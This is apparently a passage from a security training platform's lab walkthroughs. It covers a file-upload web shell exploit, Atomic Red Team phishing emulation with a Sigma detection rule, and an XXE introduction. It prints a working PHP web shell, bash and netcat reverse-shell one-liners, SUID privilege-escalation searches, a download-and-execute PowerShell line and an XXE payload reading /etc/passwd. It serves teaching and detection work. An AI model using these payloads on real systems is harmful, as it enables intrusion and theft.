shell. Now that we have an initial lead, let’s use a search query to find all logs that contain "shell.php". Using the search bar at the top, the query message: "shell.php" will search for all entries of "shell.php" in the message field of the logs. OPERATION RED In this section we will now take a look at the red aspect. In other words, the attack itself and how it was carried out. WHY DO WEBSITES ALLOW FILE UPLOADS FILE UPLOADS ARE EVERYWHERE ON WEBSITES, AND FOR GOOD REASON. USERS OFTEN NEED TO UPLOAD FILES LIKE PROFILE PICTURES, INVOICES, OR OTHER DOCUMENTS TO UPDATE THEIR ACCOUNTS, SEND RECEIPTS, OR SUBMIT CLAIMS. THESE FEATURES MAKE THE USER EXPERIENCE SMOOTHER AND MORE EFFICIENT. BUT WHILE THIS IS CONVENIENT, IT ALSO CREATES A RISK IF FILE UPLOADS AREN'T HANDLED PROPERLY. IF NOT PROPERLY SECURED, THIS FEATURE CAN OPEN UP VARIOUS VULNERABILITIES ATTACKERS CAN EXPLOIT. FILE UPLOAD VULNERABILITIES File upload vulnerabilities occur when a website doesn't properly handle the files that users upload. If the site doesn't check what kind of file is being uploaded, how big it is, or what it contains, it opens the door to all sorts of attacks. For example: * RCE: Uploading a script that the server runs gives the attacker control over it. * XSS: Uploading an HTML file that contains an XSS code which will steal a cookie and send it back to the attacker's server. These can happen if a site doesn't properly secure its file upload functionality. WHY UNRESTRICTED FILE UPLOADS ARE DANGEROUS Unrestricted file uploads can be particularly dangerous because they allow an attacker to upload any type of file. If the file's contents aren't properly validated to ensure only specific formats like PNG or JPG are accepted, an attacker could upload a malicious script, such as a PHP file or an executable, that the server might process and run. This can lead to code execution on the server, allowing attackers to take over the system. Examples of abuse through unrestricted file uploads include: * Uploading a script that the server executes, leading to RCE. * Uploading a crafted image file that triggers a vulnerability when processed by the server. * Uploading a web shell and browsing to it directly using a browser. USAGE OF WEAK CREDENTIALS One of the easiest ways for attackers to break into systems is through weak or default credentials. This can be an open door for attackers to gain unauthorised access. Default credentials are often found in systems where administrators fail to change initial login details provided during setup. For attackers, trying a few common usernames and passwords can lead to easy access. Below are some examples of weak/default credentials that attackers might try: UsernamePasswordadminadminadministratoradministratoradmin@domainnameadminguestguest Attackers can use tools or try these common credentials manually, which is often all it takes to break into the system. WHAT IS REMOTE CODE EXECUTION (RCE) Remote code execution (RCE) happens when an attacker finds a way to run their own code on a system. This is a highly dangerous vulnerability because it can allow the attacker to take control of the system, exfiltrate sensitive data, or compromise other connected systems. WHAT IS A WEB SHELL A web shell is a script that attackers upload to a vulnerable server, giving them remote control over it. Once a web shell is in place, attackers can run commands, manipulate files, and essentially use the compromised server as their own. They can even use it to launch attacks on other systems. For example, attackers could use a web shell to: * Execute commands on the server * Move laterally within the network * Download sensitive data or pivot to other services A web shell typically gives the attacker a web-based interface to run commands. Still, in some cases, attackers may use a reverse shell to establish a direct connection back to their system, allowing them to control the compromised machine remotely. Once an attacker has this level of access, they might attempt privilege escalation to gain even more control, such as achieving root access or moving deeper into the network. Okay, now that we're familiar with a remote code execution vulnerability and how it works, let's take a look at how we would exploit it! PRACTICE MAKES PERFECT To understand how a file upload vulnerability can result in an RCE, the best approach is to get some hands-on experience with it. A handy (and ethical) way to do this is to find and download a reputable open-source web application which has this vulnerability built into it. Many open-source projects exist in places like GitHub, which can be run in your own environment to experiment and practice. In today's task, we will demonstrate achieving RCE via unrestricted file upload within an open-source railway management system that has this vulnerability built into it. EXPLOITING RCE VIA FILE UPLOAD Now we're going to go through how this vulnerability can be exploited. For now, you can just read along, but an opportunity to put this knowledge into practice is coming up. Once an RCE vulnerability has been identified that can be exploited via file upload, we now need to create a malicious file that will allow remote code execution when uploaded. Below is an example PHP file which could be uploaded to exploit this vulnerability. Using your favourite text editor, copy and paste the below code and save it as shell.php. <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="text" name="command" autofocus id="command" size="50"> <input type="submit" value="Execute"> </form> <pre> <?php if(isset($_GET['command'])) { system($_GET['command'] . ' 2>&1'); } ?> </pre> </body> </html> The above script, when accessed, displays an input field. Whatever is entered in this input field is then run against the underlying operating system using the system() PHP function, and the output is displayed to the user. This is the perfect file to upload to the vulnerable rail system reservation application. The vulnerability is surrounding the upload of a new profile image. So, to exploit it, we navigate to the profile picture page: Instead of a new profile picture, we can upload our malicious PHP script and update our profile: In the case of this application, the RCE is possible through unrestricted file upload. Once this "profile picture" is uploaded and updated, it is stored in the /admin/assets/img/profile/ directory. The file can then be accessed directly via http://<ip-address-or-localhost>/<projectname>/admin/assets/img/profile/shell.php. When this is accessed, we can then see the malicious code in action: Now, we can run commands directly against the operating system using this bar, and the output will be displayed. For example, running the command pwd now returns the following: MAKING THE MOST OF IT Once the vulnerability has been exploited and you now have access to the operating system via a web shell, there are many next steps you could take depending on a) what your goal is and b) what misconfigurations are present on the system, which will determine exactly what we can do. Here are some examples of commands you could run once you have gained access and why you might run them (if the system is running on a Linux OS like our example target system): Command Use ls Will give you an idea of what files/directories surround you catA command used to output the contents of documents such as text files pwd Will give you an idea of where in the system you are whoami Will let you know who you are in the system hostname The system name and potentially its role in the network uname -a Will give you some system information like the OS, kernel version, and more id If the current user is assigned to any groups ifconfig Allows you to understand the system's network setup bash -i >& /dev/tcp/<your-ip>/<port> 0>&1 A command used to begin a reverse shell via bash nc -e /bin/sh <your-ip> <port> A command used to begin a reverse shell via Netcat find / -perm -4000 -type f 2>/dev/null Finds SUID (Set User ID) files, useful in privilege escalation attempts as it can sometimes be leveraged to execute binary with privileges of its owner (which is often root) find / -writable -type f 2>/dev/null | grep -v "/proc/" Also helpful in privilege escalation attempts used to find files with writable permissions These are just some commands that can be run following a successful RCE exploit. It's very open-ended, and what you can do will rely on your abilities to inspect an environment and vulnerabilities in the system itself. PRACTICAL Your task today is two-fold. First, you must access Kibana on MACHINE_IP:5601 to investigate the attack and answer the blue questions below. Then, you will proceed to Frosty Pines Resort's website at http://frostypines.thm and recreate the attack to answer the red questions and inform the developers what element of the website was vulnerable. Please note, to access http://frostypines.thm, you will need to reference it within your hosts file. On the AttackBox, this can be done by executing the following command in a terminal: echo "MACHINE_IP frostypines.thm" >> /etc/hosts If you do not see an IP address (i.e. 10.10.x.x) and only MACHINE IP, ensure that you have started the target machine by pressing on the green "Start Machine" button further up the task, within the heading "Connecting to the Machine". To review the logs of the attack on Frosty Pines Resorts, make sure you select the "frostypines-resorts" collection within ELK. Such as below: The date and time that you will need to use when reviewing logs will be between 11:30 and 12:00 on October 3rd 2024. Remember, to access the Frosty Pines Resorts website (http://frostypines.thm), you will need to reference it in your hosts file. On the AttackBox, this can be done by executing the following command in a terminal: echo "MACHINE_IP frostypines.thm" >> /etc/hosts Answer the questions below BLUE: Where was the web shell uploaded to? Answer format: /directory/directory/directory/filename.php Login to answer..Hint BLUE: What IP address accessed the web shell? Login to answer..Hint RED: What is the contents of the flag.txt? Login to answer.. If you liked today's task, you can learn how to harness the power of advanced ELK queries. Login to answer.. Task 10 Atomic Red Team Day 4: I’m all atomic inside! Task includes a deployable machine The Story Click here to watch the walkthrough video! SOC-mas is approaching! And the town of Warewille started preparations for the grand event. Glitch, a quiet, talented security SOC-mas engineer, had a hunch that these year's celebrations would be different. With looming threats, he decided to revamp the town's security defences. Glitch began to fortify the town's security defences quietly and meticulously. He started by implementing a protective firewall, patching vulnerabilities, and accessing endpoints to patch for security vulnerabilities. As he worked tirelessly, he left "breadcrumbs," small traces of his activity. Unaware of Glitch's good intentions, the SOC team spotted anomalies: Logs showing admin access, escalation of privileges, patched systems behaving differently, and security tools triggering alerts. The SOC team misinterpreted the system modifications as a sign of an insider threat or rogue attacker and decided to launch an investigation using the Atomic Red Team framework. LEARNING OBJECTIVES * Learn how to identify malicious techniques using the MITRE ATT&CK framework. * Learn about how to use Atomic Red Team tests to conduct attack simulations. * Understand how to create alerting and detection rules from the attack tests. CONNECTING TO THE MACHINE Before moving forward, review the questions in the connection card below: Click on the green Start Machine button below to start the virtual machine and wait 1-2 minutes for the system to boot completely in a split-screen view. Start Machine If the virtual machine isn't visible, use the blue Show Split View button at the top of the page. Additionally, if you wish to connect to the machine via RDP, use the credentials below: Username Administrator Password Emulation101! IP MACHINE_IP The VM has Atomic Red Team and Sysmon installed. This will allow us to emulate an attack using TTPs described in the MITRE ATT&CK framework. DETECTION GAPS While it might be the utopian dream of every blue teamer, we will rarely be able to detect every attack or step in an attack kill chain. This is a reality that all blue teamers face: there are gaps in their detection. But worry not! These gaps do not have to be the size of black holes; there are things we can do to help make these gaps smaller. Detection gaps are usually for one of two main reasons: * Security is a cat-and-mouse game. As we detect more, the threat actors and red teamers will find new sneaky ways to thwart our detection. We then need to study these novel techniques and update our signature and alert rules to detect these new techniques. * The line between anomalous and expected behaviour is often very fine and sometimes even has significant overlap. For example, let's say we are a company based in the US. We expect to see almost all of our logins come from IP addresses in the US. One day, we get a login event from an IP in the EU, which would be an anomaly. However, it could also be our CEO travelling for business. This is an example where normal and malicious behaviour intertwine, making it hard to create accurate detection rules that would not have too much noise. Blue teams constantly refine and improve their detection rules to close the gaps they experience due to the two reasons mentioned above. Let's take a look at how this can be done! CYBER ATTACKS AND THE KILL CHAIN Before diving into creating new detection rules, we first have to discuss some key topics. The first topic to discuss is the Cyber Kill chain. All cyber attacks follow a fairly standard process, which is explained quite well by the Unified Cyber Kill chain: As a blue teamer, it would be our dream to prevent all attacks at the start of the kill chain. So even just when threat actors start their reconnaissance, we already stop them dead in their tracks. But, as discussed before, this is not possible. The goal then shifts slightly. If we are unable to fully detect and prevent a threat actor at any one phase in the kill chain, the goal becomes to perform detections across the entire kill chain in such a way that even if there are detection gaps in a single phase, the gap is covered in a later phase. The goal is, therefore, to ensure we can detect the threat actor before the very last phase of goal execution. MITRE ATT&CK A popular framework for understanding the different techniques and tactics that threat actors perform through the kill chain is the MITRE ATT&CK framework. The framework is a collection of tactics, techniques, and procedures that have been seen to be implemented by real threat actors. The framework provides a navigator tool where these TTPs can be investigated: However, the framework primarily discusses these TTPs in a theoretical manner. Even if we know we have a gap for a specific TTP, we don't really know how to test the gap or close it down. This is where the Atomics come in! ATOMIC RED The Atomic Red Team library is a collection of red team test cases that are mapped to the MITRE ATT&CK framework. The library consists of simple test cases that can be executed by any blue team to test for detection gaps and help close them down. The library also supports automation, where the techniques can be automatically executed. However, it is also possible to execute them manually. DROPPING THE ATOMIC McSkidy has a vague idea of what happened to the "compromised machine." It seems someone tried to use the Atomic Red Team to emulate an attack on one of our systems without permission. The perpetrator also did not clean up the test artefacts. Let's have a look at what happened. RUNNING AN ATOMIC McSkidy suspects that the supposed attacker used the MITRE ATT&CK technique T1566.001 Spearphishing with an attachment. Let's recreate the attack emulation performed by the supposed attacker and then look for the artefacts created. Open up a PowerShell prompt as administrator and follow along with us. Let's start by having a quick peek at the help page. Enter the command Get-Help Invoke-Atomictest. You should see the output below: Administrator: Windows PowerShell PS C:\Users\Administrator> Get-Help Invoke-Atomictest NAME Invoke-AtomicTest SYNTAX Invoke-AtomicTest [-AtomicTechnique] <string[]> [-ShowDetails] [-ShowDetailsBrief] [-TestNumbers <string[]>] [-TestNames <string[]>] [-TestGuids <string[]>] [-PathToAtomicsFolder <string>] [-CheckPrereqs] [-PromptForInputArgs] [-GetPrereqs] [-Cleanup] [-NoExecutionLog] [-ExecutionLogPath <string>] [-Force] [-InputArgs<hashtable>] [-TimeoutSeconds <int>] [-Session <PSSession[]>] [-Interactive] [-KeepStdOutStdErrFiles] [-LoggingModule <string>] [-WhatIf] [-Confirm] [<CommonParameters>] ALIASES None REMARKS None The help above only shows what parameters are available without any explanation. Even though most parameter names are self-explanatory, let us have a quick overview of the parameters we will use in this walkthrough: Parameter Explanation Example use -Atomic Technique This defines what technique you want to emulate. You can use the complete technique name or the "TXXXX" value. This flag can be omitted. Invoke-AtomicTest -AtomicTechnique T1566.001 -ShowDetails Shows the details of each test included in the Atomic. Invoke-AtomicTest T1566.001 -ShowDetails -ShowDetailsBrief Shows the title of each test included in the Atomic. Invoke-AtomicTest T1566.001 -ShowDetailsBrief -CheckPrereqs Provides a check if all necessary components are present for testing Invoke-AtomicTest T1566.001 -CheckPrereqs -TestNames Sets the tests you want to execute using the complete Atomic Test Name. Invoke-AtomicTest T1566.001 -TestNames "Download Macro-Enabled Phishing Attachment" -TestGuids Sets the tests you want to execute using the unique test identifier. Invoke-AtomicTest T1566.001 -TestGuids 114ccff9-ae6d-4547-9ead-4cd69f687306 -TestNumbers Sets the tests you want to execute using the test number. The scope is limited to the Atomic Technique. Invoke-AtomicTest T1566.001 -TestNumbers 2,3 -Cleanup Run the cleanup commands that were configured to revert your machine state to normal. Invoke-AtomicTest T1566.001 -TestNumbers 2 -Cleanup Our First Command We can build our first command now that we know which parameters are available. We would like to know more about what exactly happens when we test the Technique T1566.001. To get this information, we must include the name of the technique we want information about and then add the flag -ShowDetails to our command. Let's have a look at the command we constructed: Invoke-AtomicTest T1566.001 -ShowDetails. This command displays the details of all tests included in the T1566.001 Atomic. Atomic Test T1566.001 Details PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -ShowDetails PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics [********BEGIN TEST*******] Technique: Phishing: Spearphishing Attachment T1566.001 Atomic Test Name: Download Macro-Enabled Phishing Attachment Atomic Test Number: 1 Atomic Test GUID: 114ccff9-ae6d-4547-9ead-4cd69f687306 Description: This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp % directory. Attack Commands: Executor: powershell ElevationRequired: False Command: $url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm Cleanup Commands: Command: Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore [!!!!!!!!END TEST!!!!!!!] [********BEGIN TEST*******] Technique: Phishing: Spearphishing Attachment T1566.001 Atomic Test Name: Word spawned a command shell and used an IP address in the command line Atomic Test Number: 2 Atomic Test GUID: cbb6799a-425c-4f83-9194-5447a909d67f Description: Word spawning a command prompt then running a command with an IP address in the command line is an indiciat or of malicious activity. Upon execution, CMD will be lauchned and ping 8.8.8.8 Attack Commands: Executor: powershell ElevationRequired: False Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" Command (with inputs): [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"C:\Users\Public\art.jse`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "Word" Cleanup Commands: Command: Remove-Item #{jse_path} -ErrorAction Ignore Command (with inputs): Remove-Item C:\Users\Public\art.jse -ErrorAction Ignore Dependencies: Description: Microsoft Word must be installed Check Prereq Command: try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } Check Prereq Command (with inputs): try { New-Object -COMObject "Word.Application" | Out-Null $process = "Word"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } Get Prereq Command: Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" Get Prereq Command (with inputs): Write-Host "You will need to install Microsoft Word manually to meet this requirement" [!!!!!!!!END TEST!!!!!!!] The output above is clearly split up into multiple parts, each matching a test. Let's examine what type of information is provided in a test. We will use the test we want to run as an example. Key Value Description Technique Phishing: Spearphishing Attachment T1566.001 The full name of the MITRE ATT&CK technique that will be tested Atomic Test Name Download Macro-Enabled Phishing Attachment A descriptive name of the type of test that will be executed Atomic Test Number 1 A number is assigned to the test; we can use this in the command to specify which test we want to run. Atomic Test GUID 114ccff9-ae6d-4547-9ead-4cd69f687306 A unique ID is assigned to this test; we can use this in the command to specify which test we want to run. Description This atomic test downloads a macro-enabled document from the Atomic Red Team GitHub repository, simulating an end-user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory. Provides a detailed explanation of what the test will do. Attack commands Executor: powershell ElevationRequired: False Command: $url = ‘http://localhost/PhishingAttachment.xlsm’ Invoke-WebRequest -Uri $url -OutFile $env:TEMP.xlsm This provides an overview of all the commands run during the test, including the executor of those commands and the required privileges. It also helps us determine where to look for artefacts in Windows Event Viewer. Cleanup commands Command: Remove-Item $env:TEMP.xlsm -ErrorAction Ignore An overview of the commands executed to revert the machine back to its original state. Dependencies There are no dependencies required. An overview of all required resources that must be present on the testing machine in order to execute the test Phishing: Spearphishing Attachment T1566.001 Emulated Let's continue and run the first test of T1566.001. Before running the emulation, we should ensure that all required resources are in place to conduct it successfully. To verify this, we can add the flag -Checkprereq to our command. The command should look something like this: Invoke-AtomicTest T1566.001 -TestNumbers 1 -CheckPrereq. This command will use the data included in the "dependencies" part of the test details to verify if all required resources are present. Looking at the test 1 dependencies of the T1566.001 Atomic, no additional resources are required. Run the same command for test 2, and it will state that Microsoft Word needs to be installed, as shown below: Administrator: Windows PowerShell PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 2 -CheckPrereq PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics CheckPrereq's for: T1566.001-2 Word spawned a command shell and used an IP address in the command line Prerequisites not met: T1566.001-2 Word spawned a command shell and used an IP address in the command line [*] Microsoft Word must be installed Try installing prereq's with the -GetPrereqs switch Now that we have verified the dependencies, let us continue with the emulation. Execute the following command to start the emulation: Invoke-AtomicTest T1566.001 -TestNumbers 1 and you should get the following output: Executing Atomic Test T1566.001 PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1 PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics Executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment Done executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment Based on the output, we can determine that the test was successfully executed. We can now analyse the logs in theWindows Event Viewer to find Indicators of Attack and Compromise. DETECTING THE ATOMIC Now that we have executed the T1566.001 Atomic, we can look for log entries that point us to this emulated attack. For this purpose, we will use the Windows Event Logs. This machine comes with Sysmon installed. System Monitor (Sysmon) provides us with detailed information about process creation, network connections, and changes to file creation time. To make it easier for us to pick up the events created for this emulation, we will first start with cleaning up files from the previous test by running the command Invoke-AtomicTest T1566.001 -TestNumbers 1 -cleanup. Administrator: Windows PowerShell PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1 -cleanup Now, we will clear the Sysmon event log: * Open up Event Viewer by clicking the icon in the taskbar, or searching for it in the Start Menu. * Navigate to Applications and Services => Microsoft => Windows => Sysmon => Operational on the left-hand side of the screen. * Right-click Operational on the left-hand side of the screen and click Clear Log. Click Clear when the popup shows. Now that we have cleaned up the files and the sysmon logs, let us run the emulation again by issuing the command Invoke-AtomicTest T1566.001 -TestNumbers 1. Administrator: Windows PowerShell PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1 PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics Executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment Done executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment Next, go to the Event Viewer and right-click on the Operational log on the left-hand side of the screen and then click on Refresh. There should be new events related to the emulated attack. Now sort the table on the Date and Time column to order the events chronologically (oldest first). The first two events of the list are tests that Atomic executes for every emulation. We are interested in 2 events that detail the attack: * First, a process was created for PowerShell to execute the following command: "powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}. * Then, a file was created with the name PhishingAttachment.xlsm. Click on each event to see the details. When you select an event, you should see a detailed overview of all the data collected for that event. Click on the Details tab to show all the EventData in a readable format. Let us take a look at the details of these events below. The data highlighted is valuable for incident response and creating alerting rules. Navigate to the directory C:\Users\Administrator\AppData\Local\Temp\, and open the file PhishingAttachment.txt. The flag included is the answer to question 1. Make sure to answer the question now, as the cleanup command will delete this file. Let's clean up the artefacts from our spearphishing emulation. Enter the command Invoke-AtomicTest T1566.001-1 -cleanup. Now that we know which artefacts were created during this spearphishing emulation, we can use them to create custom alerting rules. In the next section, we will explore this topic further. ALERTING ON THE ATOMIC In the previous paragraph, we found multiple indicators of compromise through the Sysmon event log. We can use this information to create detection rules to include in our EDR, SIEM, IDS, etc. These tools offer functionalities that allow us to import custom detection rules. There are several detection rule formats, including Yara, Sigma, Snort, and more. Let's look at how we can implement the artefacts related to T1566.001 to create a custom Sigma rule. Two events contained possible indicators of compromise. Let's focus on the event that contained the Invoke-WebRequest command line: "powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}" We can use multiple parts of this artefact to include in our custom Sigma rule. * Invoke-WebRequest: It is not common for this command to run from a script behind the scenes. * $url = 'http://localhost/PhishingAttachment.xlsm': Attackers often use a specific malicious domain to host their payloads. Including the malicious URL in the Sigma rule could help us detect that specific URL. * PhishingAttachment.xlsm: This is the malicious payload downloaded and saved on our system. We can include its name in the Sigma rule as well. Combining all these pieces of information in a Sigma rule would look something like this: PowerShell Invoke-WebRequest Sigma Rule title: Detect PowerShell Invoke-WebRequest and File Creation of PhishingAttachment.xlsm id: 1 description: Detects the usage of Invoke-WebRequest to download PhishingAttachment.xlsm and the creation of the file PhishingAttachment.xlsm. status: experimental author: TryHackMe logsource: category: process_creation product: windows service: sysmon detection: selection_invoke_webrequest: EventID: 1 CommandLine|contains: - 'Invoke-WebRequest' - 'http://localhost/PhishingAttachment.xlsm' selection_file_creation: EventID: 11 # Sysmon Event ID for File Creation TargetFilename|endswith: '\PhishingAttachment.xlsm' condition: selection_invoke_webrequest or selection_file_creation falsepositives: - Legitimate administration activity may use Invoke-WebRequest, and legitimate Excel files may be created with similar names. level: high tags: - attack.t1071.001 # Web Service - Application Layer Protocol - attack.t1059.001 # PowerShell - attack.t1105 # Ingress Tool Transfer - attack.t1566.001 # Spearphishing Attachment The detection part is where the effective detection is happening. We can see clearly the artefacts that we discovered during the emulation test. We can then import this rule into the main tools we use for alerts, such as the EDR, SIEM, XDR, and many more. Now that Glitch has shown us his intentions, let's continue with his work and run an emulation for ransomware. CHALLENGE As Glitch continues to prepare for SOC-mas and fortifies Wareville's security, he decides to conduct an attack simulation that would mimic a ransomware attack across the environment. He is unsure of the correct detection metrics to implement for this test and asks you for help. Your task is to identify the correct atomic test to run that will take advantage of a command and scripting interpreter, conduct the test, and extract valuable artefacts that would be used to craft a detection rule. Answer the questions below What was the flag found in the .txt file that is found in the same directory as the PhishingAttachment.xslm artefact? Login to answer..Hint What ATT&CK technique ID would be our point of interest? Login to answer..Hint What ATT&CK subtechnique ID focuses on the Windows Command Shell? Login to answer..Hint What is the name of the Atomic Test to be simulated? Login to answer..Hint What is the name of the file used in the test? Login to answer.. What is the flag found from this Atomic Test? Login to answer..Hint Learn more about the Atomic Red Team via the linked room. Login to answer.. Task 11 XXE Day 5: SOC-mas XX-what-ee? Task includes a deployable machine The Story The days in Wareville flew by, and Software's projects were nearly complete, just in time for Christmas. One evening, after wrapping up work, Software was strolling through the town when he came across a young boy looking dejected. Curious, Software asked, "What would you like for Christmas?" The boy replied with a sigh, "I wish for a teddy bear, but I know that my family can't afford one." This brief conversation sparked an idea in Software's mind—what if there was a platform where everyone in town could share their Christmas wishes, and the Mayor's office could help make them come true? Excited by the potential, Software introduced the idea to Mayor Malware, who embraced it immediately. The Mayor encouraged the team to build the platform for the people of Wareville. Through the developers' dedication and effort, the platform was soon ready and became an instant hit. The townspeople loved it! However, in their rush to meet the holiday deadline, the team had overlooked something critical—thorough security testing. Even Mayor Malware had chipped in to help develop a feature in the final hours. Now, it's up to you to ensure the application is secure and free of vulnerabilities. Can you guarantee the platform runs safely for the people of Wareville? Learning Objectives * Understand the basic concepts related to XML * Explore XML External Entity (XXE) and its components * Learn how to exploit the vulnerability * Understand remediation measures Important Concepts Extensible Markup Language (XML) XML is a commonly used method to transport and store data in a structured format that humans and machines can easily understand. Consider a scenario where two computers need to communicate and share data. Both devices need to agree on a common format for exchanging information. This agreement (format) is known as XML. You can think of XML as a digital filing cabinet. Just as a filing cabinet has folders with labelled documents inside, XML uses tags to label and organise information. These tags are like folders that define the type of data stored. This is what an XML looks like, a simple piece of text information organised in a structured manner: <people> <name>Glitch</name> <address>Wareville</address> <email>glitch@wareville.com</email> <phone>111000</phone> </people> In this case, the tags <people>, <name>, <address>, etc are like folders in a filing cabinet, but now they store data about Glitch. The content inside the tags, like "Glitch," "Wareville," and "123-4567" represents the actual data being stored. Like before, the key benefit of XML is that it is easily shareable and customisable, allowing you to create your own tags. Document Type Definition (DTD) Now that the two computers have agreed to share data in a common format, what about the structure of the format? Here is when the DTD comes into play. A DTD is a set of rules that defines the structure of an XML document. Just like a database scheme, it acts like a blueprint, telling you what elements (tags) and attributes are allowed in the XML file. Think of it as a guideline that ensures the XML document follows a specific structure. For example, if we want to ensure that an XML document about people will always include a name, address, email, and phone number, we would define those rules through a DTD as shown below: <!DOCTYPE people [ <!ELEMENT people(name, address, email, phone)> <!ELEMENT name (#PCDATA)> <!ELEMENT address (#PCDATA)> <!ELEMENT email (#PCDATA)> <!ELEMENT phone (#PCDATA)> ]> In the above DTD, <!ELEMENT> defines the elements (tags) that are allowed, like name, address, email, and phone, whereas #PCDATA stands for parsed people data, meaning it will consist of just plain text. Entities So far, both computers have agreed on the format, the structure of data, and the type of data they will share. Entities in XML are placeholders that allow the insertion of large chunks of data or referencing internal or external files. They assist in making the XML file easy to manage, especially when the same data is repeated multiple times. Entities can be defined internally within the XML document or externally, referencing data from an outside source. For example, an external entity references data from an external file or resource. In the following code, the entity &ext; could refer to an external file located at "http://tryhackme.com/robots.txt", which would be loaded into the XML, if allowed by the system: <!DOCTYPE people [ <!ENTITY ext SYSTEM "http://tryhackme.com/robots.txt"> ]> <people> <name>Glitch</name> <address>&ext;</address> <email>glitch@wareville.com</email> <phone>111000</phone> </people> We are specifically discussing external entities because it is one of the main reasons that XXE is introduced if it is not properly managed. XML External Entity (XXE) After understanding XML and how entities work, we can now explore the XXE vulnerability. XXE is an attack that takes advantage of how XML parsers handle external entities. When a web application processes an XML file that contains an external entity, the parser attempts to load or execute whatever resource the entity points to. If necessary sanitisation is not in place, the attacker may point the entity to any malicious source/code causing the undesired behaviour of the web app. For example, if a vulnerable XML parser processes this external entity definition: <!DOCTYPE people[ <!ENTITY thmFile SYSTEM "file:///etc/passwd"> ]> <people> <name>Glitch</name> <address>&thmFile;</address> <email>glitch@wareville.com</email> <phone>111000</phone> </people> Here, the entity &thmFile; refers to the sensitive file /etc/passwd on a system. When the XML is processed, the parser will try to load and display the contents of that file, exposing sensitive information to the attacker. In the upcoming tasks, we will examine how XXE works and how to exploit it. Connecting to the Machine Before moving forward, review the questions in the connection card shown below: Click on the green Start Machine button below to start the virtual machine. While the virtual machine starts, click on the Start AttackBox button at the top of the page and browse Wareville's WishVille application at http://MACHINE_IP. Please wait 1-2 minutes after the system boots completely to let the auto scripts run successfully. Start Machine Practical Now that you understand the basic concepts related to XML and XXE, we will analyse an application that allows users to view and add products to their carts and perform the checkout activity. You can access the Wareville application hosted on http://MACHINE_IP. This application allows users to request their Christmas wishes. Flow of the Application As a penetration tester, it is important to first analyse the flow of the application. First, the user will browse through the products and add items of interest to their wishlist at http://MACHINE_IP/product.php. Click on the Add to Wishlist under Wareville's Jolly Cap, as shown below: After adding products to the wishlist, click the Cart button or visit http://MACHINE_IP/cart.php to see the products added to the cart. On the Cart page, click the Proceed to Checkout button to buy the items as shown below: On the checkout page, the user will be prompted to enter his name and address as shown below: Enter any name of your choice and address, and click on Complete Checkout to place the wish. Once you complete the wish, you will be shown the message "Wish successful. Your wish has been saved as Wish #21", as shown below: Wish #21 indicates the wishes placed by a user on the website. Once you click on Wish #21, you will see a forbidden page because the details are only accessible to admins. But can we try to bypass this and access other people's wishes? This is what we will try to perform in this task. Intercepting the Request Before discussing exploiting XXE on the web, let's learn how to intercept the request. First, we need to configure the environment so that, as a pentester, all web traffic from our browser is routed through Burp Suite. This allows us to see and manipulate the requests as we browse. We will use Burp Suite, a powerful web vulnerability scanner, to intercept and modify requests for this exploitation. You can access Burp Suite in the AttackBox. On the desktop of the AttackBox, you will see a Burp Suite icon as shown below: Once you click the icon, Burp Suite will open with an introductory screen. You will see a message like "Welcome to Burp Suite". Click on the Next button. On the next screen, you will have the option to Start Burp. Click on the Start Burp button to start the tool. Once Burp Suite has started, you will see its main interface with different tabs, such as Proxy, Intruder, Repeater and others. Inside Burp Suite, click the Settings tab at the top right. You will see Burp's browser option available under the Tools section. Enable Allow Burp's browser to run without a sandbox option and click on the close icon on the top right corner of the Settings tab as shown below: After allowing the browser to run without a sandbox, we would now be able to start the browser with pre-configured Burp Suite's proxy. Navigate to the Open browser option located at the Proxy -> Intercept section of Burp. Open the browser by clicking the Open browser as shown below and browse the URL http://MACHINE_IP, so that all requests are intercepted: Once you browse the URL, all the requests are intercepted and can be seen under the Proxy->HTTP history tab. What is Happening in the Backend? Now, when you visit the URL, http://MACHINE_IP/product.php, and click Add to Wishlist, an AJAX call is made to 